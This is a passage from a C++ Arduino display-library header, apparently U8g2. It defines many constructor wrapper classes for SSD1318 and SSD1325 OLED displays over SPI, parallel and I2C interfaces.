u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1318_128X96_1_6800 : public U8G2 { public: U8G2_SSD1318_128X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_1_8080 : public U8G2 { public: U8G2_SSD1318_128X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1318_128X96_XCP_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1318_128X96_XCP_1_6800 : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_1_8080 : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1318_128X96_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1318_128X96_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1318_128X96_2_6800 : public U8G2 { public: U8G2_SSD1318_128X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_2_8080 : public U8G2 { public: U8G2_SSD1318_128X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1318_128X96_XCP_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1318_128X96_XCP_2_6800 : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_2_8080 : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1318_128X96_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1318_128X96_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1318_128X96_F_6800 : public U8G2 { public: U8G2_SSD1318_128X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_F_8080 : public U8G2 { public: U8G2_SSD1318_128X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1318_128X96_XCP_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1318_128X96_XCP_F_6800 : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_XCP_F_8080 : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1318_128X96_1_SW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1318_128X96_1_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1318_128X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1318_128X96_XCP_1_SW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1318_128X96_XCP_1_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1318_128X96_XCP_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1318_128X96_2_SW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1318_128X96_2_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1318_128X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1318_128X96_XCP_2_SW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1318_128X96_XCP_2_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1318_128X96_XCP_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1318_128X96_F_SW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1318_128X96_F_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1318_128X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1318_128X96_XCP_F_SW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1318_128X96_XCP_F_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1318_128X96_XCP_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1318_128X96_XCP_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_i2c_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1325_NHD_128X64_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); 